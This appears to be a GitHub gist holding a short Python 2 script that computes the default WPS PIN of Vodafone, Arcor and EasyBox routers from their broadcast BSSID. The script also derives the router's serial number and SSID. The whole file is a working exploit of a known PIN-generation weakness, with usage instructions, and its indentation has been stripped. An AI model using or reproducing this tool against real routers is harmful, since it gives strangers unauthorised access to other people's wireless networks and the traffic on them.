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jlpoveda/vodafone_germany

Created January 14, 2014 16:57
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vodafone_germany
#!/usr/bin/env python
import sys, re
def gen_pin (mac_str, sn):
mac_int = [int(x, 16) for x in mac_str]
sn_int = [0]*5+[int(x) for x in sn[5:]]
hpin = [0] * 7
k1 = (sn_int[6] + sn_int[7] + mac_int[10] + mac_int[11]) & 0xF
k2 = (sn_int[8] + sn_int[9] + mac_int[8] + mac_int[9]) & 0xF
hpin[0] = k1 ^ sn_int[9];
hpin[1] = k1 ^ sn_int[8];
hpin[2] = k2 ^ mac_int[9];
hpin[3] = k2 ^ mac_int[10];
hpin[4] = mac_int[10] ^ sn_int[9];
hpin[5] = mac_int[11] ^ sn_int[8];
hpin[6] = k1 ^ sn_int[7];
pin = int('%1X%1X%1X%1X%1X%1X%1X' % (hpin[0], hpin[1], hpin[2], hpin[3], hpin[4], hpin[5], hpin[6]), 16) % 10000000
# WPS PIN Checksum - for more information see hostapd/wpa_supplicant source (wps_pin_checksum) or
# http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc
accum = 0
t = pin
while (t):
accum += 3 * (t % 10)
t /= 10
accum += t % 10
t /= 10
return '%i%i' % (pin, (10 - accum % 10) % 10)
def main():
if len(sys.argv) != 2:
sys.exit('usage: easybox_wps.py [BSSID]\n eg. easybox_wps.py 38:22:9D:11:22:33\n')
mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1])
if len(mac_str) != 12:
sys.exit('check MAC format!\n')
sn = 'R----%05i' % int(mac_str[8:12], 16)
print 'derived serial number:', sn
print 'SSID: Arcor|EasyBox|Vodafone-%c%c%c%c%c%c' % (mac_str[6], mac_str[7], mac_str[8], mac_str[9], sn[5], sn[9])
print 'WPS pin:', gen_pin(mac_str, sn)
if __name__ == "__main__":
main()
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